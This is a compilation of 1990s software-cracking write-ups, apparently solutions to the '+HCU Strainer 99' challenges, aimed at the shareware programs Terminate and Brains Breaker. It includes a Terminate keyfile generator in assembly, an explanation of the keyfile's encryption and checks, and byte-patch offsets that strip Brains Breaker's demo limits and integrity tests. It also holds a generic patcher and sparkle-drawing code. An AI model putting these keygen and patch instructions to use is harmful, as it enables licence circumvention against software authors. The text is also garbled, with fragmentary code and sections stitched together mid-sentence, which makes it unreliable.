--------------------------------------------------------------------------- End of the solution.
Solution for Part IV of +HCU Strainer 99. Solved by iNT_03h. TARGET: Brains Breaker ver 2.1b (32bits) TOOLS: SoftIce
3.22 for W95, IDA PRO 3.75 Full, Borland C++ 4.5 SOLUTION: First, English is not my motherlanguage, so please excuse
my mistakes... To understand how BB draws that sparkle I started BB, completed puzzle and pressed CTRL-D while BB was
drawing sparkles. After several F12 I landed at 42eadb, exactly after CALL 42eeb0. There was loop and this sub was called
again and with every call sparkle changed form step by step. So I saw and understand how sparkles created and decided to code
program on C to reproduce that sparkle. I choose 640x480x16 color video mode - its standart in BC, and won't require any
special bgi. I used standart graphics functions from gfaphics.lib. I decided not to make CPU speed check and allowed to enter
delay value manually, so you can see sparkle creation process step by step if you choose big delay (100 and more), or see it in
normal speed (delay 13-15 for PII 233). Of course, I could create same program in asm, but it would take me much more time,
coz its rather dificult to code all those graphics functions (like ellipse) in asm, and it wouldn't be funny I think :)) Usually
sparkle created in 16 steps: 8 steps used to increase size of sparkle and 8 steps used to decrease size of sparkle. 0) choose color
for sparkle 1) draw white small +, its size is about x=2,y=4 2) increase + 3) draw small ellipse using choosen color and draw
increased + 4) increase ellipse (color), then draw smaller ellipse with bright color, and even smaller ellipse an center using
white color 5),6),7),8) - same 9) begin the process in back order, i.e decrease size of ellipses and + 10) same, but begin to draw
3 very small white points around sparkle 11) continue to decrease sparkle, but increase small points, they become +, change
their color from white to color of sparkle 12) continue to decrease sparkle, but decrease small +, they become points and
randomly add several (0-2) small points around sparkle 13) continue to decrease sparkle, first 3 small + disapper,randomly
added several (0-2) small points increased and become + 14) continue to decrease sparkle, randomly added several (0-2) small
points decreased and become points 15) continue to decrease sparkle, randomly added several (0-2) small points dont change
16) whole sparkle disappear. //---------------------- sparkle.c---------------------------------------- //compile: bcc sparkle.c
graphics.lib // sparkle.exe need egavga.bgi ro run // I used bcc 4.5 , but I'm sure, BC 3.1 also will work #include #include
#include #include #include #include void draw_plus(int xc,int yc,int xp,int yp) { // draw + at xc,yc with xp,yp sizes
setcolor(WHITE); moveto(xc-xp/2,yc); lineto(xc+xp/2,yc); moveto(xc,yc-yp/2); lineto(xc,yc+yp/2); } void main(void) { int
xc,yc,color,xrad,yrad,xp,yp,i,i1,num_ss,xs1,ys1,color2,ys[6],xs[6],nss; int
gd=VGA,gm=VGAHI,xs2,xs3,ys2,ys3,t,i2,beg,end,color3,t1,del,rnd_s,error; unsigned char *bmap; printf("\n\n Brains Breaker
sparkle reproducer. (C)oded by iNT_03h in 1998."); printf("\n\n Enter draw delay(msec):"); scanf("%d",&del);
initgraph(&gd,&gm,""); error=graphresult(); if (error!=grOk) { printf("Graphics error: %s\n", grapherrormsg(error));
printf("Press any key to halt:"); getch(); exit(1); } bmap=malloc(20*20/2); // alloc memory for store bitmap randomize(); //
for(i1=0;i1<=20;i1++) while(!kbhit()) { again1: xc=random(620); // xc - center of sparkle if(xc<=20) goto again1; again2:
yc=random(460); // yc - center of sparkle if(yc<=20) goto again2; again3: color=random(9); // random color from first 8 of 16
colors rnd_s=random(3); // this provide random size of sparkle if(color==0||color==8) goto again3;
getimage(xc-16,yc-16,xc+16,yc+16,bmap); // save background "before" tppabs="http://fravia.org/99solu/before" draw //
sparkle for(i=5;i<=18+rnd_s;i++) // begin to increase sparkle { delay(del); /* asm { here I tried to make delay depends // mov
ah,0 on clock, doesnt work well, too slow // int 0x1a mov ax,0x40 mov es,ax mov dx,es:[0x6c] add dx,1 mov bx,dx } repeat:
asm{ mov dx,es:[0x6c] cmp dx,bx jne repeat }*/ putimage(xc-16,yc-16,bmap,COPY_PUT); setcolor(color);
setfillstyle(SOLID_FILL,color); fillellipse(xc,yc,i/2-4,i/2-2); // draw ellipse with color setfillstyle(SOLID_FILL,color+8);
fillellipse(xc,yc,i/2-5,i/2-3); // draw smaller ellipse with bright color setfillstyle(SOLID_FILL,WHITE); draw_plus(xc,yc,i-4,i);
// draw white PLUS setcolor(WHITE); fillellipse(xc,yc,i/2-7,i/2-5); // draw smallest ellipse with WHITE color } t=t1=0; // flags
color2=color3=WHITE; for(i=18+rnd_s;i>=5;i--) // loop for decrease sparkle { delay(del-1); /* asm { mov ah,0 // int 0x1a mov
ax,0x40 mov es,ax mov dx,es:[0x6c] add dx,1 mov bx,dx } repeat1: asm{ mov dx,es:[0x6c] cmp dx,bx jne repeat1 } */
putimage(xc-16,yc-16,bmap,COPY_PUT); setcolor(color); setfillstyle(SOLID_FILL,color); // all same as above
fillellipse(xc,yc,i/2-4,i/2-2); setfillstyle(SOLID_FILL,color+8); fillellipse(xc,yc,i/2-5,i/2-3); setfillstyle(SOLID_FILL,WHITE);
draw_plus(xc,yc,i-4,i); setcolor(WHITE); fillellipse(xc,yc,i/2-7,i/2-5); if(i>16+rnd_s) //if sparkle big enough just continue to
decrease it continue; if(i==16+rnd_s) //else begin to draw very small sparkle around main { // sparkle nss=2+random(4); //
number of small sparkles , at least 2, maximum 5 setcolor(WHITE); for(i2=0;i2
by Spath (09/98).
AT FIRST LOOK
I) THE ALGORITHM
II) REVERSING THE ALGORITHM
III) OTHER CHECKS AND VERSION COMPATIBILITY
IV) THE KEY GENERATOR
FINAL NOTES
AT FIRST LOOK
Playing a little bit with PCWATCH, I find out that TERMINATE try to open
a file called TERMINAT.KEY through INT 21 (3D/3F) ; when I create a dummy
key file, 162h bytes are read 11 times and I get the message "TERMINAT.KEY
was damaged, please reinstall". By the way, some interrupt vectors are
redefined (including 00h and 3Fh), which can crash simplest debuggers.
Then, I put a BPR breakpoint on the DS:DX memory location and I land
in the algorithm. Before showing the code, I will give some explanations :
this algorithm is based on 2 layers of encryption, so that there are 2
separate checks (of course, if the first fails, the second one is not
performed). As I explained before, the datas are loaded from TERMINAT.KEY
in blocks of 162h bytes, then stored in a internal buffer before being
processed.
This function only modify two magic words (and not the buffer). It uses
basic byte transformations (XOR, SHL, ADD, SHR, RCR) and an array of
constant datas. It is used once on the 4th block (from byte 5Bh to byte
15Dh), and once on the complete file (for each block, from byte 0 to
byte 15Dh).
This function modify the bytes of the buffer from address 5Bh to address
161h and also its two first parameters. Therefore, the values you choose
for parameter1 and parameter2 are just initial values, that are only used
for byte 5Bh. This function is used 3 times in the algorithm, each call
2) calculate F1 all over the file, and compare the resulting words
of the last block). If the result is incorrect, the next tests are not
performed.
of block4. If the magic words are equal to bytes 15Eh and 160h of
MOV DI,[BP+06]
LES DI,SS:[DI+FEFA]
MOV AX,ES
PUSH AX
POP ES
MOV DI,[BP+06]
SHL BX,1
SHL BX,1
MOV CX,[BX+02]
PUSH CX ; save CX
RCR BX,1
AND DX,0FF
POP CX ; restore CX
XOR AX,BX
MOV BX,CX
XOR DX,BX
MOV DI,[BP+06]
are modified at each call, the third one is always equal to 100h.
PUSH AX
MOV DX,AX
MOV DI,[BP+06]
POP ES
XOR AH,AH
MOV DL,AL
MOV DI,[BP+06]
LES DI,SS:[DI+FEFA]
MOV AX,ES
PUSH AX
POP ES
MOV AX,[17D2]
And here's the xxxx:2053 procedure, where the two parameters are
modified :
:2053 PUSH BP
MOV BP,SP
MOV CX,AX
SHL CX,1
SHL CX,1
SHL CX,1
ADD CH,CL
ADD DX,CX
ADD DX,BX
SHL BX,1
SHL BX,1
ADD DX,BX
ADD DH,BL
MOV CL,05
SHL BX,CL
ADD DH,BL
ADD AX,0001
ADC DX,00
XOR AX,AX
JZ 2097
XCHG AX,DX
DIV BX
XCHG AX,DX
RET 0002
With the F1 function, we obtain two magic words which depend on every
byte of the key file. These words are checked versus words number 15Fh
LES DI,SS:[DI+FEFA]
JZ 092D ; ok : go on
- for the F2 function, we will use two major flaws : first, the
and write the resulting words at offset 15Eh and 160h of the last buffer.
Apart from the algorithm, four rows of tests are performed on the file,
as described below :
1)
Buffer[14] = 2Eh
Buffer[1] = Buffer[5]
5 see 2) see 2)
Buffer[12C] = Buffer[130]
Buffer[15C] = D9 and
Buffer[15D] = E9
f.i. all '0', encrypted with the correct algorithm would not work. This
means that in correct keyfiles, these parts are filled with usefull (at
least not constant) datas. This basic detection of false keyfiles is useless
To avoid the tests on blocks 1 and 11 (b), I could have add specific
Note that all these tests were already used in version 4, but the tested
2)
bytes 15Eh and 160h of buffers 4 and 5. Some functions are involved, which
take these two bytes as input and return three bytes (which i will call B1,
B2 and B3).
- calculate B2 = F7(Buffer5[15E])
(B1,B3) = F8(Buffer5[160])
B2' = F9(F7(Buffer4[15E]))
(B1',B3') = F8(Buffer4[160])
- if B1=B1' and B2=B2' and B3=B3' then the result of the test
is succesfull.
RCR BX,1 ; BX = BX / 2
RCR AX,1
DEC CL
...
decimal). Let's try to compensate this effects with F7, which use
this code :
MOV BX,AX
...
ADC DX,DX
F9(x) = x + (2^k)*0Ah
= F7(Buffer4[15E] - 0Ah)
Buffer5[160] = Buffer4[160].
3)
Then, some other checks are performed on the decrypted (after 3*F2) fourth
buffer to detect some people (or companies) names, like "Peter Thomsen",
chains are seeked at offsets 7Ah and E0h of the fourth buffer, the first
byte containing the size of the chain to compare. Here's the code :
INC DI
MOV CL,AL
:107D OR CL,CL
JZ 1087
XOR CH,CH
JNZ 1089
RET
before displaying the main screen ; of course, you are not registered
(maybe these guys didn't pay their key ?). This test also existed in
version 4, but the list of names was slightly different (and shorter).
4)
At last, several other tests are done on this buffer, which can cause a
(*) This test has been added from version 4 to version 5 : apparently, the
Terminate 4.0 keyfile generator from sULIVIAN [UCF] always fail it. I
suppose the author analyzed the key-generator, found a flaw in the PRNG
But it's not so easy... for instance, what if some other bytes of
the file have forbidden (or required) values : these values are avoided
(or set) by the keymaker of the author, and not tested in version 5. But
in version 6, the author add a test for these bytes, so that only the
keyfiles generated by his program are sure to pass the test. This means
2) Decrypt them by using the algorithm used in Terminate 5.0 and described
in part one : you can either trace in SoftIce and dump the buffers or
3) You obtain the files that the author encrypted. In each file, you can
read in plain-text all the informations about the owner of the keyfile
4) Compare all these files : if you are lucky, they are identical. If not,
try to figure out how the bytes that are different can be deduced
from the owner's informations (e.g. the first character before a string
is its size).
5) From these files, create a "mask" (or in worst case, code a mask-maker)
for your new key-generator : your program will overwrite only the bytes
unmodified.
This method will prevent your keyfile from current (and future) byte checks
keyfile. Unfortunately, I did not find any original keyfile so that I was
buffer to store and process all the 11*162h=3894 bytes and reused the code
;-------------------------------------------------------;
; ;
;-------------------------------------------------------;
Org 100h
.386
Start:
mov ah,09
mov ax,3d00h
int 21h
jc ErrorReadingFile
mov dx,0d984h
mov bx,ax
mov ax,4200h
int 21h
mov ax,3f00h
mov cx,1100h
int 21h
xor cx,cx
INT 21h
FillAndAnalyseBuffer:
FillBuffer:
call Random
mov [si],ax
inc si
inc si
loopne FillBuffer
mov F1Index,05Bh
call F1
sub dx,0Ah
mov SecondParameter,33EEh
call F2
mov SecondParameter,0000h
call F2
mov SecondParameter,0000h
call F2
mov BufferIndex,5Bh
add si,BufferIndex
xor al,0FFh
mov ax,BufferIndex
jz SecondLayer
inc BufferIndex
SecondLayer:
call F1
jmp Calculate
ConcludeF1:
mov dx,MagicWord1
mov dx,MagicWord2
mov cx,162h*11
call WriteToFile
mov ah,09
jmp ExitProgram
mov ah,09
jmp ExitProgram
mov ah,09
ExitProgram:
push ax
push cx
push dx
push cx
OpenFile:
INT 21h
Write:
mov bx,ax
xor dx,dx
INT 21h
jc end_pop_write_to_file
mov ah,40h
mov dx,si
INT 21h
jc end_write_to_file
mov ah,3Eh
jmp end_write_to_file
end_pop_write_to_file:
pop cx
end_write_to_file:
pop dx
pop cx
pop ax
ret
WriteTofile ENDP
; return a number in ax
push cx
push dx
and ah,0fh
mov cx,ax
shake:
mul dx
add ax,4321h
add dx,7D96h
loop shake
pop dx
pop cx
ret
Random ENDP
F1 PROC NEAR
label56B:
label595:
XOR BX,CX
SHL BX,1
SHL BX,1
MOV AX,[BX] ;
MOV CX,[BX+02]
PUSH CX ; save CX
label5AC:
RCR BX,1
AND DX,0FFh
POP CX ; restore CX
XOR AX,BX
MOV BX,CX
XOR DX,BX
inc si
inc F1Index
ExitF1:
ret
F1 ENDP
F2 PROC NEAR
mov BufferIndex,5Bh
F2Start:
mov dx,ax
add si,BufferIndex
XOR AH,AH
MOV DL,AL
MOV AX,BufferIndex
JZ OutF2
INC BufferIndex
OutF2:
RET
F2 ENDP
label2053:
MOV CX,AX
SHL CX,1
SHL CX,1
ADD CH,CL
ADD DX,CX
ADD DX,BX
SHL BX,1
SHL BX,1
ADD DX,BX
ADD DH,BL
MOV CL,05
SHL BX,CL
ADD DH,BL
ADD AX,0001
ADC DX,00
XOR AX,AX
XCHG AX,DX
DIV BX
XCHG AX,DX
label2097:
RET
Proc2053 ENDP
OutFileName db "terminat.key",0
InFileName db "terminat.exe",0
MagicWord1 dw 0FFFFh
MagicWord2 dw 0FFFFh
FirstParameter dw ?
SecondParameter dw ?
BufferIndex dw 0
RandSeed dw 5A9Ch
F1Count db 00h
F1Index dw 0
Cst8405h dw 8405h
code ends
End Start
FINAL NOTES
challenging part of the strainer. The author had good ideas to reject
current (and future) false keys. Yet, the decryption scheme is weak,
checks.
Spath. (09/98)
---------------------------------------------------------------------------
by Spath (08/98).
Goal: 1. Create a Windows based 32 bit byte patcher for any target you
SoftIce 3.0
I) SOME EXPLANATIONS
the file in a internal buffer until it finds the byte sequence . Then
the file pointer is set to this location it found and the new sequence
is written to the file. This means in particular that the byte sequence
Indeed, if the sequence is in the buffer I just loaded, the file pointer
is already correctly set and I only need to re-write the full buffer.
Yet, I thought that a problem would appear when the byte sequence start
at the end of a buffer and continues at the begining of the next loaded
one.
and because I wanted to play with TASM 5.0 (Thanks +Aesculapius !). As
;-------------------------------------------------------;
; ;
;-------------------------------------------------------;
.386p
EXTRN WriteFile:PROC
EXTRN CloseFile:PROC
EXTRN CreateFileA:PROC
EXTRN CloseHandle:PROC
EXTRN MessageBoxA:PROC
EXTRN SetFilePointer:PROC
EXTRN ExitProcess:PROC
.DATA
Filename db "virstop.exe",0
OldChain db 0fbh,81h,21h,0cdh,35h,0feh,0b8h,50h,0a7h,26h,10h
NewChain db 00h,01h,02h,03h,04h,05h,06h,07h,08h,09h,10h
OPEN_EXISTING equ 3
FileHandle dd ?
BytesRead dd ?
CorrectBytes dd 0
ChainPos dd 0
;-- strings
cptPatcher db 'Patcher32',0
.CODE
START:
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0
ReadLoop:
push 0
push FileHandle
LoadByte:
cmp al,[edi]
BadByte:
jmp GoOn
GoOn:
ChainFound:
push 0
push ChainPos
push FileHandle
call SetFilePointer
push 0
push FileHandle
je Succesfull ; yes
push 0
jmp Terminate
Succesfull:
push 0
jmp Terminate
SequenceNotFound:
push 0
jmp Terminate
ErrorOpeningFile:
push 0
Terminate:
push 0
push FileHandle
END START
--------------------------------------------------------------------------
Greetings: _masta_, htak and Iczelion for their good Win32 ASM tutorials.
by Spath (08/98).
AT FIRST LOOK
I) DEMO BOXES + SIDES LIMITATION
II) TESTS OF INTEGRITY
III) THE "DEMO" WORD ON THE PICTURES
FINAL NOTES
AT FIRST LOOK
Well, this protection has at least one good point : the registration
method is part of the registration secret. The limitations include demo
boxes, a limition of the sides you can place and an awful "DEMO" word
on the nicest puzzles. I removed them all.
For the first box ("Warning: the program is running in evaluation mode.You
will be allowed to solve..."), the code is really straightforward :
Since before testing the result value, the prog always saves it somewhere
else, I chose to make a 2 lines patch:
Therefore I changed:
For the "Since now you will be allowed to lock x sides" boxes, the author used
2 counters, counter1 and counter2 respectively incremented by n and decremented
by 2*n (1 < n < 2) ; at the begining, no box is displayed but after a certain
time, 2*Counter1 > Counter2 and you enter the "random display" zone (you also
go there after 25 sides). In this zone, boxes are displayed depending on the
clock for an average rate of. At last, if you have less then 8 sides to put,
a box is displayed every time. Here's the code :
In spite of all these efforts, the crack was quite simple : I changed
:0044DCD6 7C0A jl 44DCE2 into EB1C jmp 44DCF4 ; skip all the tests
(1):
Of course, I noticed that the real protection test seems to be in the
push 2C/call 420A08 (which should return EAX=0) : the best crack would
certainly have been to patch the 420A08 procedure, but this value seems
not to be enough. Indeed, I tried to put a
BPX 420a08 if @ss:(esp+4)==2c do "p ret ; r eax=0 ; g"
but unfortunately, it crashed after a few calls ; so I decided to try
to patch this way (if it had failed, I would have had to dig deeper
into 420a08).
and start again, I still receive the same infamous message... this paranoid
author put more than one integrity test in his game. How can I find them all ?
With the title parameter, stored in DS:00486B04, which is specific to this
box (see (2)). Looking for the "push dword ptr [00486B0A]" instruction in the
disassembled listing, I find 5 other locations : 41FD9F, 4447E9, 44C9E3,
453F77, 45D033.
(2):
This parameter is required, but it can be
a/ read through indirect addressage : here I trust good old Borland C++
compiler for being consequent in its work.
b/ mirrored somewhere else : here I trust the author's lack of imagination.
Then I traced a little bit and... Bingo ! This is the graphical function I
was looking for : GDI32!BitBlt. Therefore, I put a breakpoint on this
function and write down all the calling adresses when I select a "clean"
picture (f.i. the fish) from the main screen. Then I do the same thing
with a "demo" picture (f.i. the cat). As expected, this last listing shows
one more call to BitBlt ; here is a piece of the code that cause the "DEMO"
word to appear (not only on the top left corner picture, but also on the
small images and on the full-size one).
My first idea was to change the push [edx+04] into push [esi+04], so that the
bitmap is simply overwritten by itself. In fact, it removed the "DEMO" word,
but the gray rectangle remained on the picture ; I therefore had to find
which procedure called this piece of code. Back-tracing was not needed here,
so with simple P RET and STACK commands I found these pieces of code:
And I change:
(3):
CONST
SRCCOPY : DWORD = 16_00CC0020; (* dest = source *)
SRCPAINT : DWORD = 16_00EE0086; (* dest = source OR dest *)
SRCAND : DWORD = 16_008800C6; (* dest = source AND dest *)
... (a total of 15 parameters are available)
By the way, the 00AC0744 value is not described in it (??)
(4):
After all this work I realized that the "DEMO" string reference in W32dasm
was immediately leading to this piece of code... :(
FINAL NOTES
Well, I enjoyed cracking this game, especially for part 3 (part 2 was quite
disapointing, though). I learned a few things about graphical interface, which
were very useful for the last challenge. Obviously, the author spent some time
on the protection, which deserve respect, even if he chose complexity instead of
precision. I think that my crack is a little bit heavy (12 patches)... I wish I
have had more time to spend on the registration part.
Integrity tests:
1F394 0F 84 A1 E9 A2 00
42B91 3D 22 33 44 55 74 B8 22 33 44 55 EB
43DE2 73 EB
4BFD8 0F 83 85 E9 86 00
53570 73 EB
5C62C 73 EB
"DEMO": 5C91D 85 33
61C47 0F 84 73 01 E9 74 01 00
Sides limitation:
54F2F 02 00
4D2D6 7C 0A EB 1C
Spath. (08/98)
-----------------------------------------------------------------------------
by Spath (09/98).
I) SOME EXPLANATIONS
II) THE CODE
The stars I create are slightly different (bigger,...) from BBrk32's : the
main reason is that I understood this challenge as a programming one, since I
did not find much to reverse-engineer. I therefore did not try to copy-paste
the disassembled code of BBrk32, but instead tried to write my own. However,
you can obtain almost the same stars if you change these parameters :
.386
.model flat,STDCALL
POINT STRUC
ptX dd ?
ptY dd ?
POINT ENDS
MSG STRUC
msgWnd dd ?
msgMessage dd ?
msgWparam dd ?
msgLparam dd ?
msgTime dd ?
msgPt POINT ?
MSG ENDS
PAINTSTRUCT STRUC
psDC dd ? ; hdc
psErase dd ? ; fErase
psRect dd ? ; rcPaint
psRestore dd ? ; fRestore
psIncUpdate dd ? ; fIncUpdate
PAINTSTRUCT ENDS
WNDCLASS STRUC
wcStyle dd ? ; style
wcWndProc dd ? ; lpfnWndProc
wcClsExtra dd ? ; cbClsExtra
wcWndExtra dd ? ; cbWndExtra
wcInstance dd ? ; hInstance
wcIcon dd ? ; hIcon
wcCursor dd ? ; hCursor
wcBackgroundBrush dd ? ; hbrBackground
wcMenuName dd ? ; lpszMenuName
wcClassName dd ? ; lpszClassName
WNDCLASS ENDS
MF_SEPARATOR = 0800h
MF_STRING = 0000h
MF_POPUP = 0010h
; Window messages
WM_CREATE = 0001h
WM_DESTROY = 0002h
WM_PAINT = 000Fh
WM_TIMER = 0113h
WM_COMMAND = 0111h
WM_LBUTTONDOWN = 0201h
; Window styles
WS_OVERLAPPED = 0
WS_CAPTION = 00C00000h
WS_THICKFRAME = 00040000h
WS_SYSMENU = 00080000h
WS_MINIMIZEBOX = 00040000h
WS_MAXIMIZEBOX = 00020000h
WS_VISIBLE = 10000000h
SRCCPY = 00CC0020h
extrn CreateWindowExA:proc
extrn GetTickCount:proc
extrn DefWindowProcA:proc
.data
; local window
wc WNDCLASS <0,MainWndProc,0,0,0,0,0,2,0,szClassName>
; Handles
hDarkPen dd 0
hLightPen dd 0
hBlackPen dd 0
hDarkBrush dd 0
hLightBrush dd 0
; Menu templates
dw MF_STRING or MF_POPUP
dw '&','F','i','l','e',0
dw MF_STRING or MF_END,IDM_EXIT
dw 'E','&','x','i','t',0
dw '&','H','e','l','p',0
dw MF_STRING,IDM_HELP
dw '&','H','e','l','p','.','.','.',0
dw MF_SEPARATOR,0
dw 0
dw MF_STRING or MF_END,IDM_ABOUT
dw '&','A','b','o','u','t','.','.','.',0
szClassName db 'Window03',0
; graphical datas
CrossSize dd 5,2,8,4,12,7,16,9,20,12,16,9,12,7,8,4,5,2,0,0
EllipseSize dd 0,0,4,2,8,5,12,8,16,10,12,8,10,5,4,2,0,0,0,0
.code
;--------------------------------------------------------------------------
_start:
mov [wc.wcInstance],eax
mov [wc.wcCursor],eax
mov [appMenu],eax
; Create colors
mov [wndColorBrush],eax
; Create window
call CreateWindowExA
msg_loop:
or eax,eax
jmp msg_loop
; Terminate program.
end_loop:
;----------------------------------------------------------------
; are processed.
MainWndProc:
je paint_client
je execute_command
je LeftMouseDown
je creating_window
je start_destroy
; Process WM_COMMAND.
execute_command:
je exit_command
je help_command
je about_command
ret 16
call PostQuitMessage, 0
xor eax,eax
ret 16
mov eax,[esp+4]
xor eax,eax
ret 16
mov eax,[esp+4]
xor eax,eax
ret 16
paint_client:
[bmpDC], 0, 0, SRCCPY
xor eax,eax
ret 16
;- - - - - - - - - - - - - - - - - - - - - - - - - - -
LeftMouseDown:
jmp LeftMouseDown
EndLeftMouseDown:
mov Index, 0
xor eax,eax
ret 16
ComputeEllipses:
mov EllipseIndex, 0
jle ComputeCross ; no
ComputeCross:
ComputeSideShow:
DisplayAll:
ret
BasicStep endp
pusha
popa
ret
DrawCross endp
pusha
popa
ret
DrawEllipse endp
pusha
SideLoop:
in al, 40h
jl WhiteOne
jmp GoOn
WhiteOne:
GoOn:
xor eax,eax
in al,40h
and al,17h
in al,40h
and al,0Fh
call DrawCross
cmp [SideCounter], 0
jne SideLoop
popa
ret
SideShow endp
[bmpDC], 0, 0, SRCCPY
ret
DisplayBitmap endp
pusha
MAX_BMP_HEIGHT+25-1
popa
ret
ClearScreen endp
pusha
WaitLoop:
jle WaitLoop
popa
ret
SmallDelay endp
;-----------------------------------------------------------
; Process WM_CREATE.
creating_window:
mov [bmpDC],eax
mov [bmpH],eax
MAX_BMP_HEIGHT+25-1
call CreateSolidBrush, 0
mov [wndColorBrush],eax
xor eax,eax
ret 16
; Process WM_DESTROY.
start_destroy:
call PostQuitMessage, 0
xor eax,eax
ret 16
end _start
----------------------------------------------------------------------------
Greetings : - Henry S. Takeuchi (Htak) and NetWalker, for good usage of TASM
- Earl Gray, who helped me to work so late.
#------------------------------------------------------------------------------#
# - Challenge #1 - #
# by JaZZ #
#------------------------------------------------------------------------------#
Contents:
1) Localisation of the protection
2) Analysis
3) The keymaker
#------------------------------------------------------------------------------#
1) Localisation.
To work efficiently on this target, I've used Softice 2.80 for dos, and IDA 3.7,
which seems to be the only disassembler beeing (by far) able to produce a
meaningful listing that you can use in conjunction with softice. Well, there
are no anti-debuging tricks as soon as you start softice ! I suppose these
one were supposed to be the use of overlays but IDA treats them quite right as
well.
We know that the babe needs a file to reg right so we just BPINT 21 ah=3D to
break whenever a file is opened. The second time Sice pops, ds:dx points to a
"terminat.key" string. Ok, this is the name. We then just create a bogus
terminat.key file, then BPINT 21 ah=3F to break on the reading. And we land
smack into it. In Ida it's referenced as ovr018.
I've provided a COMMENTED (with some vars renamed, please have a look...)listing
of the interesting part of overlay 18, to clarify my explanations, but i suppose
the reader has figured out how all this works :-) First the key file is divided
into 0B buffers of each 162h bytes long. The file must then be at least
162*B=F36 bytes long. There are several levels of
protection in this scheme. Let's examine the first.
a) A loop is reading all the buffers of the keyfile, and performs a global
checksum (through a dedicated function) on bytes [0,15D] of each one. The 2 last
words in each buffer (15E to 161) are either a checksum (local to this buffer or
global to the whole file) , or are not checked at all. It can be noted that the
checksum function actually uses a 1024 bytes area to perform its job (that's why
i've been forced to hardcode it in the keymaker). When the reading has been
achieved the resultant checksum is matched against the bytes 15E->161 of the
last 0B buffer. If the 2 words don't match, you are kicked off. During this
first loop, the author also tries to detect cracked terminat.key files. To
achieve this, he only checks constant patterns that always occur at the same
place in cracked files:
3)0B buffer: cracked file if bytes 12C to 130 are equal OR if [15A,15D]= "_d+"
(ie DC 64 D9 E9)
If the program detects a cracked key, either it fills the general checksum with
bogus, or it displays a message saying you're using an anauthorized key file.
Anyway, it won't reg. To prevent the program from matching succesfully, i just
fill all the terminat.key with random at the beginning (the random generator is
the one used by terminat itself, seeded with the clock), and then put the
interesting data over it. It'll ensure that even for the SAME user input, a lot
of bytes will be different in the final keyfile. This will work as long as the
author doesn't check some "required" bytes !
-----------------------
b) the second part of the protection is dealing with the fourth buffer,
involving bytes from 5B to 161. Besides, the user input is encrypted in here.
The program will xor the whole area with FF at first. After it does the same
four times again, with a different xoring value each time. This value is
calculated by some kind of "random generator", seeded with defined DWORDS (not
really random then...). At the end of this process, the area is fully decrypted.
A new checksum then occurs onto this area, involving the same algo described in
a) : checksumming [5B,161] and comparing to the word in 15E. One more occasion
to be eventually rejected. If not the work is not done still: now you've got to
face the TERRIBLE integrity check call: though you may have gone through all the
previous doors, this call can enter a unfinite loop, or even worse crash the
PC while beeping continuously (apart from this, why this integrity check is
going backwards on the file ? a mystery). I summarize here quite a lot of work:
what is important are the parameters pushed before the call. Three of them are
interesting.
and then it's compared (see above). when returning, bx is lowered by 28h &
that's all. Putting then the same checksum for the two fails because of this
difference. So we'll have to find a checksum for 5th that through calculation
gives [FEDA]-28h. Now this seems quite a laborious task, but is not really, if
you remark that lowering [15E] by 1 lowers the [FFE0] by 4. It's fully linear.
To lower the final result by 40 (=28h), we'll only have to take the [15E] word
of the 4th buffer, lower it by Oa, and put the result in [15E] in 5th buf.
3) the keymaker.
One more thing we'll have to find is how the user's personal info is stored in
the key file. To achieve this, i simply cracked terminate.exe to allow every
bogus file (with the sufficient nbr of bytes) to be a valid one. I won't discuss
that much as there's only 3 or 4 bytes to change, and we don't want to patch
it! Pressing ALT O in the program displays all the user info. All the info is
stored in 4th buffer, at these positions (with sice you go on the decrypting
process until you find the bogus displayed by ALT O):
[7A]=name length
[7B-AB]=name
[AD]=adress length
[AE-DE]=adress
[E0]=city length
[E1-E11]=city
[113]=country length
[114-144]=country
To realize the keymaker, we just follow the process the author uses in backwards
direction (the listing is fully commented)
- get user input with dos function.
- initialize the area in memory with random.
- copy the user data at the right
place.
- put a correct checksum in 4th buf and then deduct the one for 5th as explained
above.
- xoring the 4th buf succesively with 4 distinct values
- performing the global checksum on all the buffers and putting the result in
the right place of the last one.
#------------------------------------------------------------------------------#
#------------------------------------------------------------------------------#
# - Challenge #2 - #
# by JaZZ #
#------------------------------------------------------------------------------#
I choose to code the patcher in C. The compiler i've used is Borland C++ 4.52.
(Thanks fravia for the info of "quasi free" release from pc plus). The exe
length is about 30K, which is not tiny, maybe this is the reason why almost
patchers are DOS based ;-), although less functionnal. I choose to add two
features to mine,that is:
1- The ability to patch at multiple locations. Well the experience proofs it's
useful.
2- The possibility to make a backup of the original file. The exe will be
renamed as ".bak".
I think the listing is self-explanatory enough, the only things required are:
Before patching, i only check the size which in most of the cases is enough to
differentiate between versions of the target. Backing up the file (if selected)
is a quite easy using the CopyFile function.
I provided an example for patching brainsbreaker v2.1. If you want to compile,
don't forget to set the target to win32 and libraries to static.
#------------------------------------------------------------------------------#
#------------------------------------------------------------------------------#
# - Challenge #3 - #
# by JaZZ #
#------------------------------------------------------------------------------#
This is, apart from the game itself which is imo very well designed (good
windoze progs are not so frequent !), quite a good protection, for a high level
language program. Hope that having included it in the strainer won't do any harm
to that guy as he's capable. Back to the topic. The 5th category is quite
unfair: for example you can't load a puzzle that's been created in another PC
with the program unregistered on it. May be there are several tricks of that
kind, i discovered this only one when showing the game a colleague at work, as
he tried to send me a puzzle by the network. As I said, cracking it is all the
more interesting as there ain't ANY "wide open doors" where you can get through.
Disassembling it with wdasm is ok, but the strings references lead to nothing
vital: the "Demo" references only the background of the image. You can disable
it, it won't reg the program. Furthermore this nasty author made a great "pied
de nez" to all crackers as he managed (i may be wrong, but i've never seen that
before ;-) to associate his name & copyright to every 00000001 that appears in
the listing. Well done Mr Trujillos, 1 to 0, we'll see your damned name at least
a thousand times, but we're not dead though. Of course you can remove them with
your editor, but dont try to use wdasm after as it'll be fooled. Anyway it's
only a detail. Our tools will be Softice and Wdasm, as usual.
-------------------
; error: messagebox
:0046B497 83C4FC add esp, FFFFFFFC
:0046B49A 66C704242E02 mov word ptr [esp], 022E -> index for
"Seems that the data..."
:0046B4A0 E803E8FCFF call 00439CA8
:0046B4A5 50 push eax
:0046B4A6 FF35D4974800 push dword ptr [004897D4]
:0046B4AC 6810200000 push 00002010
:0046B4B1 53 push ebx
:0046B4B2 E8676CFBFF call 0042211E -> call messageboxa
:0046B4B7 837DF800 cmp dword ptr [ebp-08], 00000000
:0046B4BB 7507 jne 0046B4C4
:0046B4BD BF7C150000 mov edi, 0000157C
:0046B4C2 EB05 jmp 0046B4C9
-------------------
2) Up to this point you can either enter the 456AF5 routine, i didn't do it at
first as i was believing a lot of calls were involved. Infortunately it wasn't
